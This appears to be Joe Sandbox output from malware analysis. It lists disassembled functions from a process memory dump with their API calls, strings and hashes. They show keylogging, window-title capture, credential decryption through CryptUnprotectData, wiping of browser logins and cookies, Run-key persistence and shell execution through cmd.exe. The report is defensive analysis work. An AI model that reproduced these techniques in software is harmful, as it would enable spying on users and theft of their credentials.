Download Yara Rule

APIs

Part of subcall function 0040B164: GetLocalTime.KERNEL32(?,Offline Keylogger Started,004750F0), ref: 0040B172
Part of subcall function 0040B164: wsprintfW.USER32 ref: 0040B1F3

Part of subcall function 0041B4EF: GetLocalTime.KERNEL32(00000000), ref: 0041B509

CreateThread.KERNEL32(00000000,00000000,0040A267,?,00000000,00000000), ref: 0040AF6E
CreateThread.KERNEL32(00000000,00000000,0040A289,?,00000000,00000000), ref: 0040AF7A
CreateThread.KERNEL32(00000000,00000000,0040A295,?,00000000,00000000), ref: 0040AF86

Strings

Online Keylogger Started, xrefs: 0040AF03, 0040AF0C, 0040AF36

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: CreateThread$LocalTime$wsprintf
String ID: Online Keylogger Started
API String ID: 112202259-1258561607
Opcode ID: be6d66d5fa79c5f31e74c778d4d5e15bc8bc5d5b3a82591b70bbeab99a5f0c5b
Instruction ID: a86b307176fed80e65d2d8085b20e14cf0e56bf63d45b36b749a5edd9f3e52e0
Opcode Fuzzy Hash: be6d66d5fa79c5f31e74c778d4d5e15bc8bc5d5b3a82591b70bbeab99a5f0c5b
Instruction Fuzzy Hash: 1401C8A070031939E62076365C87D7F7A5DCA81398F40057FF645362C6D97D1C5586FB

Function 0041B4EF Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 59timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(00000000), ref: 0041B509

Strings

| , xrefs: 0041B53C
PkGNG, xrefs: 0041B4EF
%02i:%02i:%02i:%03i , xrefs: 0041B51E

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: LocalTime
String ID: | $%02i:%02i:%02i:%03i $PkGNG
API String ID: 481472006-3277280411
Opcode ID: cd8841d7ce7b31923eb0730a989a812e14017909399abac035ca2ef2887a575a
Instruction ID: b0c371a91d376d28eb23a1cf2c2b6b2589463c7c7bf84255da33bc44f247512a
Opcode Fuzzy Hash: cd8841d7ce7b31923eb0730a989a812e14017909399abac035ca2ef2887a575a
Instruction Fuzzy Hash: 361181714082055AC304EB62D8419BFB3E9AB44348F50093FF895A21E1EF3CDA49C65A

Function 00404F51 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 58timethreadCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 00404F81
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00404FCD
CreateThread.KERNEL32(00000000,00000000,00405150,?,00000000,00000000), ref: 00404FE0

Strings

KeepAlive | Enabled | Timeout: , xrefs: 00404F94

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: Create$EventLocalThreadTime
String ID: KeepAlive | Enabled | Timeout:
API String ID: 2532271599-1507639952
Opcode ID: 7c8a9ce4b383af45d5410d66a549d3ab3812e2de270479e75a3fa2d1d41e82a0
Instruction ID: 982fc92e7e47f2769c776e0d9ab1702947c5453eb715a4cfed9cf45540ca89dc
Opcode Fuzzy Hash: 7c8a9ce4b383af45d5410d66a549d3ab3812e2de270479e75a3fa2d1d41e82a0
Instruction Fuzzy Hash: A8110671904385AAC720A7778C0DEAB7FA8DBD2710F04046FF54163291DAB89445CBBA

Function 00406A63 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 53libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(crypt32), ref: 00406A82
GetProcAddress.KERNEL32(00000000), ref: 00406A89

Strings

crypt32, xrefs: 00406A7D
CryptUnprotectData, xrefs: 00406A78

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: CryptUnprotectData$crypt32
API String ID: 2574300362-2380590389
Opcode ID: 58a6a211d8528d7034b6d4e537693813dfb36b0b7d2b88ce6c125ece2ab5d6dc
Instruction ID: d796ed41fc96dc9ef8d801536240fab0e9422483ab40f89d2a564a4d0f07de08
Opcode Fuzzy Hash: 58a6a211d8528d7034b6d4e537693813dfb36b0b7d2b88ce6c125ece2ab5d6dc
Instruction Fuzzy Hash: 6201B535B00216ABCB18DFAD9D449ABBBB8EB49300F14817EE95AE3341D674D9008BA4

Function 0044C253 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

SetFilePointerEx.KERNEL32(00000000,00000000,00000002,FF8BC369,00000000), ref: 0044C28C
GetLastError.KERNEL32 ref: 0044C296
__dosmaperr.LIBCMT ref: 0044C29D

Strings

PkGNG, xrefs: 0044C255

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: ErrorFileLastPointer__dosmaperr
String ID: PkGNG
API String ID: 2336955059-263838557
Opcode ID: 60eaf30ffa5a6b77e16cdf42a69bcf8f7fa5cf007f91ab5b57ca5c6e56bd7837
Instruction ID: 03228b3a5a263cac3d3762c0c6cb9bea0ee6cefe7ee70a3785aa569069518732
Opcode Fuzzy Hash: 60eaf30ffa5a6b77e16cdf42a69bcf8f7fa5cf007f91ab5b57ca5c6e56bd7837
Instruction Fuzzy Hash: 9E016D32A11104BBDF008FE9CC4089E3719FB86320B28039AF810A7290EAB5DC118B64

Function 0040515C Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 46synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000003E8,?,?,?,00405159), ref: 00405173
CloseHandle.KERNEL32(?), ref: 004051CA
SetEvent.KERNEL32(?), ref: 004051D9

Strings

Connection Timeout, xrefs: 00405198

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: CloseEventHandleObjectSingleWait
String ID: Connection Timeout
API String ID: 2055531096-499159329
Opcode ID: 16c0c5432ea764d1c3b3677813c316a5f50629e206d56325c82df1a06a1f960a
Instruction ID: e4880b57ed2806ada623013920947221b56867654f576af2420d72dde76e11cf
Opcode Fuzzy Hash: 16c0c5432ea764d1c3b3677813c316a5f50629e206d56325c82df1a06a1f960a
Instruction Fuzzy Hash: 1201D831A40F40AFE7257B368D9552BBBE0FF01302704097FE68396AE2D6789800CF59

Function 0040E7C5 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBVCRUNTIME ref: 0040E833

Strings

ios_base::eofbit set, xrefs: 0040E822
ios_base::badbit set, xrefs: 0040E7EF
ios_base::failbit set, xrefs: 0040E815

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: Exception@8Throw
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 2005118841-1866435925
Opcode ID: 8dcc56bc0b3abd67e197b42ddab56c72444c781ea05e0f6efff8352e2a22a648
Instruction ID: aca7d9cae529c24a85643cb8f0975e7fdd15ab88b82278639a3f13e82648cb6f
Opcode Fuzzy Hash: 8dcc56bc0b3abd67e197b42ddab56c72444c781ea05e0f6efff8352e2a22a648
Instruction Fuzzy Hash: 2C01B1315443086AE618F693C843FAA73585B10708F108C2FAA15761C2F67D6961C66B

Function 0041CAE1 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 42windowCOMMON

Download Yara Rule

APIs

FormatMessageA.KERNEL32(00001100,00000000,00000000,00000400,?,00000000,00000000,00474EF8,00474EF8,PkGNG,00404A40), ref: 0041CB09
LocalFree.KERNEL32(?,?), ref: 0041CB2F

Strings

PkGNG, xrefs: 0041CAE1
@J@, xrefs: 0041CAED

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: FormatFreeLocalMessage
String ID: @J@$PkGNG
API String ID: 1427518018-1416487119
Opcode ID: 582a0a935ffae84e33b405a2c8e80a835bcb557197e1ba62297b84e69e8a9d31
Instruction ID: 02a9d8e2c753fe243ccbc909122ce1ddd8f8b45a09ed5088e6b723b988b0f700
Opcode Fuzzy Hash: 582a0a935ffae84e33b405a2c8e80a835bcb557197e1ba62297b84e69e8a9d31
Instruction Fuzzy Hash: 5EF0A434B0021AAADF08A7A6DD4ADFF7769DB84305B10007FB606B21D1EEB86D05D659

Function 00413814 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 39registryCOMMON

Download Yara Rule

APIs

RegCreateKeyW.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\,?), ref: 0041381F
RegSetValueExW.ADVAPI32 ref: 0041384D
RegCloseKey.ADVAPI32(?), ref: 00413858

Strings

Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\, xrefs: 0041381D

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: CloseCreateValue
String ID: Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\
API String ID: 1818849710-1051519024
Opcode ID: 3da2de30dd2e4c2ff773a1c969aacac889c14d245fa7b83563a43fe4ea506f1b
Instruction ID: 91b44a8789fefabe47d0aed0b401f4e945a8dec35bb1902c17c37083bf943f80
Opcode Fuzzy Hash: 3da2de30dd2e4c2ff773a1c969aacac889c14d245fa7b83563a43fe4ea506f1b
Instruction Fuzzy Hash: 83F0C271440218FBDF10AFA1EC45FEE376CEF00B56F10452AF905A61A1E7359F04DA94

Function 0040DFA6 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 39COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0040DFB1
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 0040DFF0

Part of subcall function 00435640: _Yarn.LIBCPMT ref: 0043565F
Part of subcall function 00435640: _Yarn.LIBCPMT ref: 00435683

__CxxThrowException@8.LIBVCRUNTIME ref: 0040E016

Strings

bad locale name, xrefs: 0040E000

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: Yarnstd::_$Exception@8Locinfo::_Locinfo_ctorLockitLockit::_Throw
String ID: bad locale name
API String ID: 3628047217-1405518554
Opcode ID: 03a3a1b6538e95a80bbc96a5a3230d3fb174e533ca0510e3d942a7448ac3be7a
Instruction ID: c9d4814c50014869750c7e26a4e1a69426a580a77e14145940ab7c7d7e24a8db
Opcode Fuzzy Hash: 03a3a1b6538e95a80bbc96a5a3230d3fb174e533ca0510e3d942a7448ac3be7a
Instruction Fuzzy Hash: EAF081314006049AC634FA62D863B9AB7B89F14718F504A7FB906228D1EF7CBA1CCA4C

Function 0041376F Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 38registryCOMMON

Download Yara Rule

APIs

RegCreateKeyA.ADVAPI32(80000001,Control Panel\Desktop,0046611C), ref: 0041377E
RegSetValueExA.ADVAPI32(0046611C,?,00000000,?,00000000,00000000), ref: 004137A6
RegCloseKey.ADVAPI32(0046611C), ref: 004137B1

Strings

Control Panel\Desktop, xrefs: 00413778, 00413788

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: CloseCreateValue
String ID: Control Panel\Desktop
API String ID: 1818849710-27424756
Opcode ID: 6030d9855dac89f4cd46f7f8c789974497344dcf9873e73d86c3d4cdefa30cde
Instruction ID: c04290829ccef693e4e8b5b7d06cdf9a2950efbbd707a4c1379ff92f90edcb59
Opcode Fuzzy Hash: 6030d9855dac89f4cd46f7f8c789974497344dcf9873e73d86c3d4cdefa30cde
Instruction Fuzzy Hash: B8F06272400118FBCB009FA1DD45DEA376CEF04B51F108566FD09A61A1D7359E14DB54

Function 00416C2D Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 33threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,Function_0001D45D,00000000,00000000,00000000), ref: 00416C47
ShowWindow.USER32(00000009), ref: 00416C61
SetForegroundWindow.USER32 ref: 00416C6D

Part of subcall function 0041CD9B: AllocConsole.KERNEL32 ref: 0041CDA4
Part of subcall function 0041CD9B: ShowWindow.USER32(00000000,00000000), ref: 0041CDBD
Part of subcall function 0041CD9B: SetConsoleOutputCP.KERNEL32(000004E4), ref: 0041CDE2

Strings

!D@, xrefs: 00417089

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: Window$ConsoleShow$AllocCreateForegroundOutputThread
String ID: !D@
API String ID: 3446828153-604454484
Opcode ID: 6979cefb1d1fefa54efaa96eb459276fcc124e6eae3c34ad0f1a5970b9474eaa
Instruction ID: c1d0571eb829819ca76672189d51ce116019f2d3a91c4b5ec781e9fa27a10d2f
Opcode Fuzzy Hash: 6979cefb1d1fefa54efaa96eb459276fcc124e6eae3c34ad0f1a5970b9474eaa
Instruction Fuzzy Hash: 9EF05E70158201EAD720AB62EC45AFA7B69EB54351F00483BF849D14F2DB398C85C69D

Function 004160EE Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 27COMMON

Download Yara Rule

APIs

ShellExecuteW.SHELL32(00000000,open,cmd.exe,00000000,00000000,00000000), ref: 00416130

Strings

open, xrefs: 0041612A
/C , xrefs: 0041610E
cmd.exe, xrefs: 00416125

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: ExecuteShell
String ID: /C $cmd.exe$open
API String ID: 587946157-3896048727
Opcode ID: 1fb54d341f42364606467e993f20cb3c4ceaa424224daa94047b07daa39982c0
Instruction ID: 0a18f3537a1213b4b5dca9b82f73c842755a7e35c30cee8a650de64661b344da
Opcode Fuzzy Hash: 1fb54d341f42364606467e993f20cb3c4ceaa424224daa94047b07daa39982c0
Instruction Fuzzy Hash: 0DE0C0B0208345AAC705E775CC95CBF73ADAA94749B50483F7142A20E2EF7C9D49C659

Function 0040140A Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 7libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(User32.dll,GetCursorInfo), ref: 00401414
GetProcAddress.KERNEL32(00000000), ref: 0040141B

Strings

GetCursorInfo, xrefs: 0040140A
User32.dll, xrefs: 0040140F

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: GetCursorInfo$User32.dll
API String ID: 1646373207-2714051624
Opcode ID: 0feee19109755bbb7e48939f97e78712d63acfb534ae43d0cb60b2001d0c131e
Instruction ID: 65f79b4a2c2aed896b4012a4b0ac893fb7d0ccba54e760513c8834f3bef68171
Opcode Fuzzy Hash: 0feee19109755bbb7e48939f97e78712d63acfb534ae43d0cb60b2001d0c131e
Instruction Fuzzy Hash: B4B09B70541740E7CB106BF45C4F9153555B514703B105476B44996151D7B44400C61E

Function 004014AF Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 7libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(User32.dll), ref: 004014B9
GetProcAddress.KERNEL32(00000000), ref: 004014C0

Strings

User32.dll, xrefs: 004014B4
GetLastInputInfo, xrefs: 004014AF

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: GetLastInputInfo$User32.dll
API String ID: 2574300362-1519888992
Opcode ID: 6185ad33e38da01c5cedd7fab51ef37947c258832bc82ab0b36b916a7b459740
Instruction ID: ea73ef4d1088e939c140d9431744cb36a9dcab52d5ea7f3e4bb33043e5d41cbe
Opcode Fuzzy Hash: 6185ad33e38da01c5cedd7fab51ef37947c258832bc82ab0b36b916a7b459740
Instruction Fuzzy Hash: 5EB092B45C1700FBCB106FA4AC4E9293AA9A614703B1088ABB845D2162EBB884008F9F

Function 0040C00C Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 103sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32 ref: 0040C021
Sleep.KERNEL32(00001388), ref: 0040C0A9

Strings

Cleared browsers logins and cookies., xrefs: 0040C0F5
[Cleared browsers logins and cookies.], xrefs: 0040C0E4

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: Sleep
String ID: [Cleared browsers logins and cookies.]$Cleared browsers logins and cookies.
API String ID: 3472027048-1236744412
Opcode ID: 24f20f3b92deb628025467620478f708c177420abe32db4e4f6f8a7850cc6954
Instruction ID: fac43f66edf0589ccdcbb227709f1a337e776f7542e83b73a027453bfa593f46
Opcode Fuzzy Hash: 24f20f3b92deb628025467620478f708c177420abe32db4e4f6f8a7850cc6954
Instruction Fuzzy Hash: 2531C804348380E9D6116BF554567AB7B814E93744F08457FB9C42B3D3D97E4848C7AF

Function 0040A529 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 71sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 0041C551: GetForegroundWindow.USER32 ref: 0041C561
Part of subcall function 0041C551: GetWindowTextLengthW.USER32 ref: 0041C56A
Part of subcall function 0041C551: GetWindowTextW.USER32 ref: 0041C594

Sleep.KERNEL32(000001F4), ref: 0040A573
Sleep.KERNEL32(00000064), ref: 0040A5FD

Strings

[ , xrefs: 0040A58F
], xrefs: 0040A57B

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: Window$SleepText$ForegroundLength
String ID: [ $ ]
API String ID: 3309952895-93608704
Opcode ID: 4603c95d7a0278816d05f17b1e103e1b56ebf32c1baad14edcc254fcbbfd146b
Instruction ID: 97bd403738d1ca0cb59e80c1fc79ee6201ed0cb329172f4776a94889a39aca56
Opcode Fuzzy Hash: 4603c95d7a0278816d05f17b1e103e1b56ebf32c1baad14edcc254fcbbfd146b
Instruction Fuzzy Hash: FE119F315043006BC614BB65CC5399F77A8AF50308F40053FF552665E2FF79AA5886DB

Function 00443A33 Relevance: 6.1, APIs: 4, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e504ac4fddb0f8a25c6be19684a152be264dadb57d82260706401bb5bc5fb7a8
Instruction ID: 17f232e73e96fb976a24982deb7d35e81c220cd9520ca4ef7e8dcf180de91df6
Opcode Fuzzy Hash: e504ac4fddb0f8a25c6be19684a152be264dadb57d82260706401bb5bc5fb7a8
Instruction Fuzzy Hash: 1301F2B36497067EFA202E786CC1F67220CDF41BBEB34032BB574712D1DA68CE404568

Function 00443AB2 Relevance: 6.1, APIs: 4, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 253450334f16ac4bada5e464aed069c53fdbe8794578123440a1a1ba72333804
Instruction ID: 34d970f17befced98e3ca294e9c9a609e5e7bfbb0444a55afbb34e25ce639c56
Opcode Fuzzy Hash: 253450334f16ac4bada5e464aed069c53fdbe8794578123440a1a1ba72333804
Instruction Fuzzy Hash: 0601A2B26096117EFA111E796CC4E27624CDB81BBF325032BF535612D6DA688E014169

Function 0041C485 Relevance: 6.0, APIs: 4, Instructions: 50fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000), ref: 0041C49E
GetFileSize.KERNEL32(00000000,00000000,00000000,?,?,00000000,0040412F,00465E74), ref: 0041C4B2
ReadFile.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 0041C4D7
CloseHandle.KERNEL32(00000000), ref: 0041C4E5

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleReadSize
String ID:
API String ID: 3919263394-0
Opcode ID: c4d28c244904a0c4b31f6914b30dbe9704a3e03414ae878e480ac2c22075bc56
Instruction ID: d938e931a51b81dfe9e25773ede9364464a286a3a3b97e7b856b7b87d8bf29b3
Opcode Fuzzy Hash: c4d28c244904a0c4b31f6914b30dbe9704a3e03414ae878e480ac2c22075bc56
Instruction Fuzzy Hash: 0FF0C2B1245308BFE6101B25ACD4EBB375CEB867A9F00053EF902A22C1CA298C05913A

Function 0041C1DD Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00001000,00000000,?,00000000,00000000,00000000), ref: 0041C1F5
OpenProcess.KERNEL32(00000400,00000000,?,?,00000000,00000000,00000000), ref: 0041C208
CloseHandle.KERNEL32(00000000), ref: 0041C233
CloseHandle.KERNEL32(00000000), ref: 0041C23B

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: CloseHandleOpenProcess
String ID:
API String ID: 39102293-0
Opcode ID: f9441541d1e055ebec971b28555d0febc4d5c2f8e157a993c91f5ce795852cd2
Instruction ID: 502f13a9e38f74389cb09c542eced9ec4ef47df168bad581006c654e14f0d55b
Opcode Fuzzy Hash: f9441541d1e055ebec971b28555d0febc4d5c2f8e157a993c91f5ce795852cd2
Instruction Fuzzy Hash: 53012BB1680315ABD61057D49C89FB7B27CDB84796F0000A7FA04D21D2EF748C818679

Function 00439863 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBVCRUNTIME ref: 0043987A

Part of subcall function 00439EB2: ___AdjustPointer.LIBCMT ref: 00439EFC

_UnwindNestedFrames.LIBCMT ref: 00439891
___FrameUnwindToState.LIBVCRUNTIME ref: 004398A3
CallCatchBlock.LIBVCRUNTIME ref: 004398C7

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: CatchUnwind$AdjustBlockBuildCallFrameFramesNestedObjectPointerState
String ID:
API String ID: 2633735394-0
Opcode ID: f1135f3da04ba3a0995d0d42191a6de0eafd24a9b56dad318990318c05e81e44
Instruction ID: dcee73c62e3621a690853eebe59cad03ae51e1002f288686f44977c5109bb855
Opcode Fuzzy Hash: f1135f3da04ba3a0995d0d42191a6de0eafd24a9b56dad318990318c05e81e44
Instruction Fuzzy Hash: 18011732000109BBCF12AF55CC01EDA3BBAEF9D754F04511AFD5861221C3BAE861DBA5

Function 004193E3 Relevance: 6.0, APIs: 4, Instructions: 43COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32 ref: 004193F0
GetSystemMetrics.USER32 ref: 004193F6
GetSystemMetrics.USER32 ref: 004193FC
GetSystemMetrics.USER32 ref: 00419402

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: MetricsSystem
String ID:
API String ID: 4116985748-0
Opcode ID: 8421f7446e2b2501a8c7f7ac55c2b56c52e48a318564101d3507d6038f1717f6
Instruction ID: 9a44d86f369c7068fc2c949f9b02ed5542bf43da40f6b7222f807aea32733f55
Opcode Fuzzy Hash: 8421f7446e2b2501a8c7f7ac55c2b56c52e48a318564101d3507d6038f1717f6
Instruction Fuzzy Hash: DFF0A471B043155BD744EA759C51A6F6BD5EBD4264F10043FF20887281EE78DC468785

Function 00438F31 Relevance: 6.0, APIs: 4, Instructions: 14COMMON

Download Yara Rule

APIs

___vcrt_initialize_pure_virtual_call_handler.LIBVCRUNTIME ref: 00438F31
___vcrt_initialize_winapi_thunks.LIBVCRUNTIME ref: 00438F36
___vcrt_initialize_locks.LIBVCRUNTIME ref: 00438F3B

Part of subcall function 0043A43A: ___vcrt_InitializeCriticalSectionEx.LIBVCRUNTIME ref: 0043A44B

___vcrt_uninitialize_locks.LIBVCRUNTIME ref: 00438F50

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: CriticalInitializeSection___vcrt____vcrt_initialize_locks___vcrt_initialize_pure_virtual_call_handler___vcrt_initialize_winapi_thunks___vcrt_uninitialize_locks
String ID:
API String ID: 1761009282-0
Opcode ID: 37419d0d218480942dadea5656795116f0d18a982b1fc86bcd770d00ce79fbb1
Instruction ID: 04dbcd9d80b8837b95b31ffc0e846904d80335f120ca5f78e3accc67d081205e
Opcode Fuzzy Hash: 37419d0d218480942dadea5656795116f0d18a982b1fc86bcd770d00ce79fbb1
Instruction Fuzzy Hash: 59C04C15080781541C50B6B2210B2AE83461E7E38DFD074DFFCE0571038E4E043B653F

Function 00442C5D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 189COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 00442CED

Strings

pow, xrefs: 00442CC5, 00442CE2

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: ErrorHandling__start
String ID: pow
API String ID: 3213639722-2276729525
Opcode ID: ae0341c24035669086af68b363e9d44c4063f2ceb2f02d621ae22780893f867c
Instruction ID: c2a334fe3ab53b67a82bc2a1da04863f7f1ed5e2a579c87dfbcc8ae8a095d349
Opcode Fuzzy Hash: ae0341c24035669086af68b363e9d44c4063f2ceb2f02d621ae22780893f867c
Instruction Fuzzy Hash: C6516DA1E0420296FB167B14CE4137B2BA4DB40751F704D7FF096823AAEB7D8C859A4F

Function 00449E3C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 116COMMONLIBRARYCODE

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(000000FF,00000000,00000006,00000001,?,?,00000000,?,00000000,?,?,00000000,00000006,?,?,?), ref: 00449F0F
GetLastError.KERNEL32 ref: 00449F2B

Strings

PkGNG, xrefs: 00449E3E

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

